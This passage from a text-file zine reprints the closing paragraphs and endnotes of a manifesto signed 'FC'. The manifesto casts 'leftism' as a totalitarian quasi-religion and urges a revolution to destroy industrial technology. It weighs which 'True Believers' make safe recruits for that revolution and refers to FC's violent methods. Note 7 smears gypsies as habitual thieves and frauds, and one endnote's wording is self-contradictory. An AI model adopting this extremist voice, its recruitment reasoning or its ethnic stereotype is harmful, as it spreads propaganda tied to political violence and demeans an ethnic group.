In the United States, a couple of decades ago when leftists were a minority in our universities, leftist professors were vigorous proponents of academic freedom, but today, in those of our universities where leftists have become dominant, they have shown themselves ready to take away from everyone else's academic freedom. (This is "political correctness.") The same will happen with leftists and technology: They will use it to oppress everyone else if they ever get it under their own control. 217. In earlier revolutions, leftists of the most power-hungry type, repeatedly, have first cooperated with non-leftist revolutionaries, as well as with leftists of a more libertarian inclination, and later have double-crossed them to seize power for themselves. Robespierre did this in the French Revolution, the Bolsheviks did it in the Russian Revolution, the communists did it in Spain in 1938 and Castro and his followers did it in Cuba. Given the past history of leftism, it would be utterly foolish for non-leftist revolutionaries today to collaborate with leftists. 218. Various thinkers have pointed out that leftism is a kind of religion. Leftism is not a religion in the strict sense because leftist doctrine does not postulate the existence of any supernatural being. But, for the leftist, leftism plays a psychological role much like that which religion plays for some people. The leftist NEEDS to believe in leftism; it plays a vital role in his psychological economy. His beliefs are not easily modified by logic or facts. He has a deep conviction that leftism is morally Right with a capital R, and that he has not only a right but a duty to impose leftist morality on everyone. (However, many of the people we are referring to as "leftists" do not think of themselves as leftists and would not describe their system of beliefs as leftism. We use the term "leftism" because we don't know of any better words to designate the spectrum of related creeds that includes the feminist, gay rights, political correctness, etc., movements, and because these movements have a strong affinity with the old left. See paragraphs 227-230.) 219. Leftism is a totalitarian force. Wherever leftism is in a position of power it tends to invade every private corner and force every thought into a leftist mold. In part this is because of the quasi-religious character of leftism; everything contrary to leftist beliefs represents Sin. More importantly, leftism is a totalitarian force because of the leftists' drive for power. The leftist seeks to satisfy his need for power through identification with a social movement and he tries to go through the power process by helping to pursue and attain the goals of the movement (see paragraph 83). But no matter how far the movement has gone in attaining its goals the leftist is never satisfied, because his activism is a surrogate activity (see paragraph 41). That is, the leftist's real motive is not to attain the ostensible goals of leftism; in reality he is motivated by the sense of power he gets from struggling for and then reaching a social goal. [35] Consequently the leftist is never satisfied with the goals he has already attained; his need for the power process leads him always to pursue some new goal. The leftist wants equal opportunities for minorities. When that is attained he insists on statistical equality of achievement by minorities. And as long as anyone harbors in some corner of his mind a negative attitude toward some minority, the leftist has to re-educated him. And ethnic minorities are not enough; no one can be allowed to have a negative attitude toward homosexuals, disabled people, fat people, old people, ugly people, and on and on and on. It's not enough that the public should be informed about the hazards of smoking; a warning has to be stamped on every package of cigarettes. Then cigarette advertising has to be restricted ff not banned. The activists will never be satisfied until tobacco is outlawed, and after that it will be alcohol, then junk food, etc. Activists have fought gross child abuse, which is reasonable. But now they want to stop all spanking. When they have done that they will want to ban something else they consider unwholesome, then another thing and then another. They will never be satisfied until they have complete control over all child rearing practices. And then they will move on to another cause. 220. Suppose you asked leftists to make a list of ALL the things that were wrong with society, and then suppose you instituted EVERY social change that they demanded. It is safe to say that within a couple of years the majority of leftists would find something new to complain about, some new social "evil" to correct because, once again, the leftist is motivated less by distress at society's ills than by the need to satisfy his drive for power by imposing his solutions on society. 221. Because of the restrictions placed on their thoughts and behavior by their high level of socialization, many leftists of the over-socialized type cannot pursue power in the ways that other people do. For them the drive for power has only one morally acceptable outlet, and that is in the struggle to impose their morality on everyone. 222. Leftists, especially those of the oversocialized type, are True Believers in the sense of Eric Hoffer's book, "The True Believer." But not all True Believers are of the same psychological type as leftists. Presumably a true-believing nazi, for instance, is very different psychologically from a true-believing leftist. Because of their capacity for single-minded devotion to a cause, True Believers are a useful, perhaps a necessary, ingredient of any revolutionary movement. This presents a problem with which we must admit we don't know how to deal. We aren't sure how to harness the energies of the True Believer to a revolution against technology. At present all we can say is that no True Believer will make a safe recruit to the revolution unless his commitment is exclusively to the destruction of technology. If he is committed also to another ideal, he may want to use technology as a tool for pursuing that other ideal (see paragraphs 220, 221). 223. Some readers may say, "This stuff about leftism is a lot of crap. I know John and Jane who are leftish types and they don't have all these totalitarian tendencies." It's quite true that many leftists, possibly even a numerical majority, are decent people who sincerely believe in tolerating others' values (up to a point) and wouldn't want to use high-handed methods to reach their social goals. Our remarks about leftism are not meant to apply to every individual leftist but to describe the general character of leftism as a movement. And the general character of a movement is not necessarily determined by the numerical proportions of the various kinds of people involved in the movement. 224. The people who rise to positions of power in leftist movements tend to be leftists of the most power-hungry type, because power-hungry people are those who strive hardest to get into positions of power. Once the power-hungry types have captured control of the movement, there are many leftists of a gentler breed who inwardly disapprove of many of the actions of the leaders, but cannot bring themselves to oppose them. They NEED their faith in the movement, and because they cannot give up this faith they go along with the leaders. True, SOME leftists do have the guts to oppose the totalitarian tendencies that emerge, but they generally lose, because the power-hungry types are better organized, are more ruthless and Machiavellian and have taken care to build themselves a strong power base. 225. These phenomena appeared clearly in Russia and other countries that were taken over by leftists. Similarly, before the breakdown of communism in the, USSR, leftish types in the West would, seldom criticize that country. If prodded they would admit that the USSR did many wrong things, but then they would try to find excuses for the communists and begin talking about the faults of the West. They always opposed Western military resistance to communist aggression. Leftish types all over the world vigorously protested the U.S. military action in Vietnam, but when the USSR invaded Afghanistan they did nothing. Not that they approved of the Soviet actions; but because of their leftist faith, they just couldn't bear to put themselves in opposition to communism. Today, in those of our universities where "political correctness" has become dominant, there are probably many leftish types who privately disapprove of the suppression of academic freedom, but they go along with it anyway. 226. Thus the fact that many individual leftists are personally mild and fairly tolerant people by no means prevents leftism as a whole form having a totalitarian tendency. 227. Our discussion of leftism has a serious weakness. It is still far from clear what we mean by the word "leftist." There doesn't seem to be much we can do about this. Today leftism is fragmented into a whole spectrum of activist movements. Yet not all activist movements are leftist, and some activist movements (e.g., radical environmentalism) seem to include both personalities of the leftist type and personalities of thoroughly un-leftist types who ought to know better than to collaborate with leftists. Varieties of leftists fade out gradually into varieties of non-leftists and we ourselves would often be hard-pressed to decide whether a given individual is or is not a leftist. To the extent that it is defined at all, our conception of leftism is defined by the discussion of it that we have given in this article, and we can only advise the reader to use his own judgment in deciding who is a leftist. 228. But it will be helpful to list some criteria for diagnosing leftism. These criteria cannot be applied in a cut and dried manner. Some individuals may meet some of the criteria without being leftists, some leftists may not meet any of the criteria. Again, you just have to use your judgment. 229. The leftist is oriented toward large-scale collectivism. He emphasizes the duty of the individual to serve society and the duty of society to take care of the individual. He has a negative attitude toward individualism. He often takes a moralistic tone. He tends to be for gun control, for sex education and other psychologically "enlightened" educational methods, for social planning, for affirmative action, for multi- culturalism. He tends to identify with victims. He tends to be against competition and against violence, but he ofte finds excuses for those leftists who do commit violence. He is fond of using the common catch-phrases of the left, like "racism," "sexism," "homophobia," "capitalism," "imperialism," "neocolonialism," "genocide," "social change," "social justice," "social responsibility." Maybe the best diagnostic trait of the leftist is his tendency to sympathize with the following movements: feminism, gay rights, ethnic rights, disability rights, animal rights, political correctness. Anyone who strongly sympathizes with ALL of these movements is almost certainly a leftist. [36] 230. The more dangerous leftists, that is, those who are most power-hungry, are often characterized by arrogance or by a dogmatic approach to ideology. However, the most dangerous leftists of all may be certain oversocialized types who avoid irritating displays of aggressiveness and refrain from advertising their leftism, but work quietly and unobtrusively to promote collectivist values, "enlightened" psychological techniques for socializing children, dependence of the individual on the system, and so forth. These crypto-leftists (as we may call them) approximate certain bourgeois types as far as practical action is concerned, but differ from them in psychology, ideology and motivation. The ordinary bourgeois tries to bring people under control of the system in order to protect his way of life, or he does so simply because his attitudes are conventional. The crypto-leftist tries to bring people under control of the system because he is a True Believer in a collectivistic ideology. The crypto-leftist is differentiated from the average leftist of the oversocialized type by the fact that his rebellious impulse is weaker and he is more securely socialized. He is differentiated from the ordinary well-socialized bourgeois by the fact that there is some deep lack within him that makes it necessary for him to devote himself to a cause and immerse himself in a collectivity. And maybe his (well-sublimated) drive for power is stronger than that of the average bourgeois. FINAL NOTE 231. Throughout this article we've made imprecise statements and statements that ought to have had all sorts of qualifications and reservations attached to them; and some of our statements may be flatly false. Lack of sufficient information and the need for brevity made it impossible for us to formulate our assertions more precisely or add all the necessary qualifications. And of course in a discussion of this kind one must rely heavily on intuitive judgment, and that can sometimes be wrong. So we don't claim that this article expresses more than a crude approximation to the truth. 232. All the same, we are reasonably confident that the general outlines of the picture we have painted here are roughly correct. Just one possible weak point needs to be mentioned. We have portrayed leftism in its modern form as a phenomenon peculiar to our time and as a symptom of the disruption of the power process. But we might possibly be wrong about this. Oversocialized types who try to satisfy their drive for power by imposing their morality on everyone have certainly been around for a long time. But we THINK that the decisive role played by feelings of inferiority, low self-esteem, powerlessness, identification with victims by people who are not themselves victims, is a peculiarity of modern leftism. Identification with victims by people not themselves victims can be seen to some extent in 19th century leftism and early Christianity but as far as we can make out, symptoms of low self-esteem, etc., were not nearly so evident in these movements, or in any other movements, as they are in modern leftism. But we are not in a position to assert confidently that no such movements have existed prior to modern leftism. This is a significant question to which historians ought to give their attention. NOTES 1. (Paragraph 19) We are asserting that ALL, or even most, bullies and ruthless competitors suffer from feelings of inferiority. 2. (Paragraph 25) During the Victorian period many oversocialized people suffered from serious psychological problems as a result of repressing or trying to repress their sexual feelings. Freud apparently based his theories on people of this type. Today the focus of socialization has shifted from sex to aggression. 3. (Paragraph 27) Not necessarily including specialists in engineering or the "hard" sciences. 4. (Paragraph 28) There are many individuals of the middle and upper classes who resist some of these values, but usually their resistance is more or less covert. Such resistance appears in the mass media only to a very limited extent. The main thrust of propaganda in our society is in favor of the stated values. The main reason why these values have become, so to speak, the official values of our society is that they are useful to the industrial system. Violence is discouraged because it disrupts the functioning of the system. Racism is discouraged because ethnic conflicts also disrupt the system, and discrimination wastes the talents of minority-group members who could be useful to the system. Poverty must be "cured" because the underclass causes problems for the system and contact with the underclass lowers the morale of the other classes. Women are encouraged to have careers because their talents are useful to the system and, more importantly, because by having regular jobs women become better integrated into the system and tied directly to it rather than to their families. This helps to weaken family solidarity. (The leaders of the system say they want to strengthen the family, but they really mean is that they want the family to serve as an effective tool for socializing children in accord with the needs of the system. We argue in paragraphs 51, 52 that the system cannot afford to let the family or other small-scale social groups be strong or autonomous.) 5. (Paragraph 42) It may be argued that the majority of people don't want to make their own decisions but want leaders to do their thinking for them. There is an element of truth in this. People like to make their own decisions in small matters, but making decisions on difficult, fundamental questions requires facing up to psychological conflict, and most people hate psychological conflict. Hence they tend to lean on others in making difficult decisions. But it does not follow that they like to have decisions imposed upon them without having any opportunity to influence those decisions. The majority of people are natural followers, not leaders, but they like to have direct personal access to their leaders, they want to be able to influence the leaders and participate to some extent in making even the difficult decisions. At least to that degree they need autonomy. 6. (Paragraph 44) Some of the symptoms listed are similar to those shown by caged animals. To explain how these symptoms arise from deprivation with respect to the power process: ¢ommon-sense understanding of human nature tells one that lack of goals whose attainment requires effort leads to boredom and that boredom, long continued, often leads eventually to depression. Failure to attain goals leads to frustration and lowering of self-esteem. Frustration leads to anger, anger to aggression, often in the form of spouse or child abuse. It has been shown that long-continued frustration commonly leads to depression and that depression tends to cause guilt, sleep disorders, eating disorders and bad feelings about oneself. Those who are tending toward depression seek pleasure as an antidote; hence insatiable hedonism and excessive sex, with perversions as a means of getting new kicks. Boredom too tends to cause excessive pleasure-seeking since, lacking other goals, people often use pleasure as a goal. See accompanying diagram. The foregoing is a simplification. Reality is more complex, and of course, deprivation with respect to the power process is not the ONLY cause of the symptoms described. By the way, when we mention depression we do not necessarily mean depression that is severe enough to be treated by a psychiatrist. Often only mild forms of depression are involved. And when we speak of goals we do not necessarily mean long-term, thoughtout goals. For many or most people through much of human history, the goals of a hand-to-mouth existence (merely providing oneself and one's family with food from day to day) have been quite sufficient. 7. (Paragraph 52) A partial exception may be made for a few passive, inwardlooking groups, such as the Amish, which have little effect on the wider society. Apart from these, some genuine small-scale communities do exist in America today. For instance, youth gangs and "cults." Everyone regards them as dangerous, and so they are, because the members of these groups are loyal primarily to one another rather than to the system, hence the system cannot control them. Or take the gypsies. The gypsies commonly get away with theft and fraud because their loyalties are such that they can always get other gypsies to give testimony that "proves" their innocence. Obviously the system would be in serious trouble if too many people belonged to such groups. Some of the early-20th century Chinese thinkers who were concerned with modernizing China recognized the necessity breaking down small-scale social groups such as the family: "(According to Sun Yat-sen) the Chinese people needed a new surge of patriotism, which would lead to a transfer of loyalty from the family to the state.... (According to Li Huang) traditional attachments, particularly to the family had to be abandoned if nationalism were to develop in China." (Chester C. Tan, "Chinese Political Thought in the Twentieth Century," page 125, page 297.) 8. (Paragraph 56) Yes, we know that 19th century America had its problems, and serious ones, but for the sake of brevity we have to express ourselves in simplified terms. 9. (Paragraph 61) We leave aside the "underclass." We are speaking of the mainstream. 10. (Paragraph 62) Some social scientists, educators, "mental health" professionals and the like are doing their best to push the social drives into group 1 by trying to see to it that everyone has a satisfactory social life. 11. (Paragraphs 63, 82) Is the drive for endless material acquisition really an artificial creation of the advertising and marketing industry? Certainly there is no innate human drive for material acquisition. There have been many cultures in which people have desired little material wealth beyond what was necessary to satisfy their basic physical needs (Australian aborigines, traditional Mexican peasant culture, some African cultures). On the other hand there have also been many pre-industrial cultures in which material acquisition has played an important role. So we can't claim that today's acquisition-oriented culture is exclusively a creation of the advertising and marketing industry. But it is clear that the advertising and marketing industry has had an important part in creating that culture. The big corporations that spend millions on advertising wouldn't be spending that kind of money without solid proof that they were getting it back in increased sales. One member of FC met a sales manager a couple of years ago who was frank enough to tell him, "Our job is to make people buy things they don't want and don't need." He then described how an untrained novice could present people with the facts about a product, and make no sales at all, while a trained and experienced professional salesman would make lots of sales to the same people. This shows that people are manipulated into buying things they don't really want. 12. (Paragraph 64) The problem of purposelessness seems to have become less serious during the last 15 years or so, because people now feel less secure physically and economically than they did earlier, and the need for security provides them with a goal. But purposelessness has been replaced by frustration over the difficulty of attaining security. We emphasize the problem of purposelessness because the liberals and leftists would wish to solve our social problems by having society guarantee everyone's security; but if that could be done it would only bring back the problem of purposelessness. The real issue is not whether society provides well or poorly for people's security; the trouble is that people are dependent on the system for their security rather than having it in their own hands. This, by the way, is part of the reason why some people get worked up about the right to bear arms; possession of a gun puts that aspect of their security in their own hands. 13. (Paragraph 66) Conservatives' efforts to decrease the amount of government regulation are of little benefit to the average man. For one thing, only a fraction of the regulations can be eliminated because most regulations are necessary. For another thing, most of the deregulation affects business rather than the average individual, so that its main effect is to take power from the government and give it to private corporations. What this means for the average man is that government interference in his life is replaced by interference from big corporations, which may be permitted, for example, to dump more chemicals that get into his water supply and give him cancer. The conservatives are just taking the average man for a sucker, exploiting his resentment of Big Government to promote the power of Big Business. 14. (Paragraph 73) When someone approves of the purpose for which propaganda is being used in a given case, he generally calls it "education" or applies to it some similar euphemism. But propaganda is propaganda regardless of the purpose for which it is used. 15. (Paragraph 83) We are not expressing approval or disapproval of the Panama invasion. We only use it to illustrate a point. 16. (Paragraph 95) When the American colonies were under British rule there were fewer and less effective legal guarantees of freedom than there were after the American Constitution went into effect, yet there was more personal freedom in pre-industrial America, both before and after the War of Independence, than there was after the Industrial Revolution took hold in this country. We quote from "Violence in America: Historical and Comparative Perspectives," edited by Hugh Davis Graham and Ted Robert Gurr, Chapter 12 by Roger Lane, pages 476-478: "The progressive heightening of standards of propriety, and with it the increasing reliance on official law enforcement (in l9th century America) ... were common to the whole society.... [T]he change in social behavior is so long term and so widespread as to suggest a connection with the most fundamental of contemporary social processes; that of industrial urbanization itself...."Massachusetts in 1835 had a population of some 660,940, 81 percent rural, overwhelmingly preindustrial and native born. It's citizens were used to considerable personal freedom. Whether teamsters, farmers or artisans, they were all accustomed to setting their own schedules, and the nature of their work made them physically independent of each other.... Individual problems, sins or even crimes, were not generally cause for wider social concern...."But the impact of the twin movements to the city and to the factory, both just gathering force in 1835, had a progressive effect on personal behavior throughout the 19th century and into the 20th. The factory demanded regularity of behavior, a life governed by obedience to the rhythms of clock and calendar, the demands of foreman and supervisor. In the city or town, the needs of living in closely packed neighborhoods inhibited many actions previously unobjectionable. Both blue- and white-collar employees in larger establishments were mutually dependent on their fellows; as one man's work fit into anther's, so one man's business was no longer his own. "The results of the new organization of life and work were apparent by 1900, when some 76 percent of the 2,805,346 inhabitants of Massachusetts were classified as urbanites. Much violent or irregular behavior which had been tolerable in a casual, independent society was no longer acceptable in the more formalized, cooperative atmosphere of the later period.... The move to the cities had, in short, produced a more tractable, more socialized, more 'civilized' generation than its predecessors." 17. (Paragraph 117) Apologists for the system are fond of citing cases in which elections have been decided by one or two votes, but such cases are rare. 18. (Paragraph 119) "Today, in technologically advanced lands, men live very similar lives in spite of geographical, religious, and political differences. The daily lives of a Christian bank clerk in Chicago, a Buddhist bank clerk in Tokyo, and a Communist bank clerk in Moscow are far more alike than the life of any one of them is like that of any single man who lived a thousand years ago. These similarities are the result of a common technology...." L. Sprague de Camp, "The Ancient Engineers," Ballantine edition, page 17. The lives of the three bank clerks are not IDENTICAL. Ideology does have SOME effect. But all technological societies, in order to survive, must evolve along APPROXIMATELY the same trajectory. 19. (Paragraph 123) Just think an irresponsible genetic engineer might create a lot of terrorists. 20. (Paragraph 124) For a further example of undesirable consequences of medical progress, suppose a reliable cure for cancer is discovered. Even if the treatment is too expensive to be available to any but the elite, it will greatly reduce their incentive to stop the escape of carcinogens into the environment. 21. (Paragraph 128) Since many people may find paradoxical the notion that a large number of good things can add up to a bad thing, we illustrate with an analogy. Suppose Mr. A is playing chess with Mr. B. Mr. C, a Grand Master, is looking over Mr. A's shoulder. Mr. A of course wants to win his game, so if Mr. C points out a good move for him to make, he is doing Mr. A a favor. But suppose now that Mr. C tells Mr. A how to make ALL of his moves. In each particular instance he does Mr. A a favor by showing him his best move, but by making ALL of his moves for him he spoils his game, since there is not point in Mr. A's playing the game at all if someone else makes all his moves. The situation of modern man is analogous to that of Mr. A. The system makes an individual's life easier for him in innumerable ways, but in doing so it deprives him of control over his own fate. 22. (Paragraph 137) Here we are considering only the conflict of values within the mainstream. For the sake of simplicity we leave out of the picture "outsider" values like the idea that wild nature is more important than human economic welfare. 23. (Paragraph 137) Self-interest is not necessarily MATERIAL self-interest. It can consist in fulfillment of some psychological need, for example, by promoting one's own ideology or religion. 24. (Paragraph 139) A qualification: It is in the interest of the system to permit a certain prescribed degree of freedom in some areas. For example, economic freedom (with suitable limitations and restraints) has proved effective in promoting economic growth. But only planned, circumscribed, limited freedom is in the interest of the system. The individual must always be kept on a leash, even if the leash is sometimes long (see paragraphs 94, 97). 25. (Paragraph 143) We don't mean to suggest that the efficiency or the potential for survival of a society has always been inversely proportional to the amount of pressure or discomfort to which the society subjects people. That certainly is not the case. There is good reason to believe that many primitive societies subjected people to less pressure than European society did, but European society proved far more efficient than any primitive society and always won out in conflicts with such societies because of the advantages conferred by technology. 26. (Paragraph 147) If you think that more effective law enforcement is unequivocally good because it suppresses crime, then remember that crime as defined by the system is not necessarily what YOU would call crime. Today, smoking marijuana is a "crime," and, in some places in the U.S., so is possession of an unregistered handgun. Tomorrow, possession of ANY firearm, registered or not, may be made a crime, and the same thing may happen with disapproved methods of child-rearing, such as spanking. In some countries, expression of dissident political opinions is a crime, and there is no certainty that this will never happen in the U.S., since no constitution or political system lasts forever. If a society needs a large, powerful law enforcement establishment, then there is something gravely wrong with that society; it must be subjecting people to severe pressures if so many refuse to follow the rules, or follow them only because forced. Many societies in the past have gotten by with little or no formal law-enforcement. 27. (Paragraph 151) To be sure, past societies have had means of influencing human behavior, but these have been primitive and of low effectiveness compared with the technological means that are now being developed. 28. (Paragraph 152) However, some psychologists have publicly expressed opinions indicating their contempt for human freedom. And the mathematician Claude Shannon was quoted in Omni (August 1987) as saying, "I visualize a time when we will be to robots what dogs are to humans, and I'm rooting for the machines." 29. (Paragraph 154) This is no science fiction! After writing paragraph 154 we came across an article in Scientific American according to which scientists are actively developing techniques for identffying possible future criminals and for treating them by a combination of biological and psychological means. Some scientists advocate compulsory application of the treatment, which may be available in the near future. (See "Seeking the Criminal Element," by W. Wayt Gibbs, Scientific American, March 1995.) Maybe you think this is OK because the treatment would be applied to those who might become violent criminals. But of course it won't stop there. Next, a treatment will be applied to those who might become drunk drivers (they endanger human life too), then perhaps to peel who spank their children, then to environmentalists who sabotage logging equipment, eventually to anyone whose behavior is inconvenient for the system. 30. (Paragraph 184) A further advantage of nature as a counter-ideal to technology is that, in many people, nature inspires the kind of reverence that is associated with religion, so that nature could perhaps be idealized on a religious basis. It is true that in many societies religion has served as a support and justification for the established order, but it is also true that religion has often provided a basis for rebellion. Thus it may be useful to introduce a religious element into the rebellion against technology, the more so because Western society today has no strong religious foundation. Religion, nowadays either is used as cheap and transparent support for narrow, short-sighted selfishness (some conservatives use it this way), or even is cynically exploited to make easy money (by many evangelists), or has degenerated into crude irrationalism (fundamentalist protestant sects, "cults"), or is simply stagnant (Catholicism, main-line Protestantism). The nearest thing to a strong, widespread, dynamic religion that the West has seen in recent times has been the quasi-religion of leftism, but leftism today is fragmented and has no clear, unified, inspiring goal. Thus there is a religious vacuum in our society that could perhaps be filled by a religion focused on nature in opposition to technology. But it would be a mistake to try to concoct artificially a religion to fill this role. Such an invented religion would probably be a failure. Take the "Gaia" religion for example. Do its adherents REALLY believe in it or are they just play-acting? If they are just play-acting their religion will be a flop in the end. It is probably best not to try to introduce religion into the conflict of nature vs. technology unless you REALLY believe in that religion yourself and find that it arouses a deep, strong, genuine response in many other people. 31. (Paragraph 189) Assuming that such a final push occurs. Conceivably the industrial system might be eliminated in a somewhat gradual or piecemeal fashion (see paragraphs 4, 167 and Note 4). 32. (Paragraph 193) It is even conceivable (remotely) that the revolution might consist only of a massive change of attitudes toward technology resulting in a relatively gradual and painless disintegration of the industrial system. But if this happens we'll be very lucky. It's far more probably that the transition to a nontechnological society will be very difficult and full of conflicts and disasters. 33. (Paragraph 195) The economic and technological structure of a society are far more important than its political structure in determining the way the average man lives (see paragraphs 95, 119 and Notes 16, 18). 34. (Paragraph 215) This statement refers to our particular brand of anarchism. A wide variety of social attitudes have been called "anarchist," and it may be that many who consider themselves anarchists would not accept our statement of paragraph 215. It should be noted, by the way, that there is a nonviolent anarchist movement whose members probably would not accept FC as anarchist and certainly would not approve of FC's violent methods. 35. (Paragraph 219) Many leftists are motivated also by hostility, but the hostility probably results in part from a frustrated need for power. 36. (Paragraph 229) It is important to understand that we mean someone who sympathizes with these MOVEMENTS as they exist today in our society. One who believes that women, homosexuals, etc., should have equal rights is not necessary a leftist. The feminist, gay rights, etc., movements that exist in our society have the particular ideological tone that characterizes leftism, and if one believes, for example, that women should have equal rights it does not necessarily follow that one must sympathize with the feminist movement as it exists today. If copyright problems make it impossible for this long quotation to be printed, then please change Note 16 to read as follows: 16. (Paragraph 95) When the American colonies were under British rule there were fewer and less effective legal guarantees of freedom than there were after the American Constitution went into effect, yet there was more personal freedom in pre-industrial America, both before and after the War of Independence, than there was after the Industrial Revolution took hold in this country. In "Violence in America: Historical and Comparative Perspectives," edited by Hugh Davis Graham and Ted Robert Gurr, Chapter 12 by Roger Lane, it is explained how in pre-industrial America the average person had greater independence and autonomy than he does today, and how the process of industrialization necessarily led to the restriction of personal freedom. <----------------------------------------------------------------------------> Thus concludes the 2nd issue of FEH. I hope you have found it an enjoyable and enlightening reading experience. Please send any questions, comments, or submissions for future issues to us at: feh@pussy.org -All of FEH 
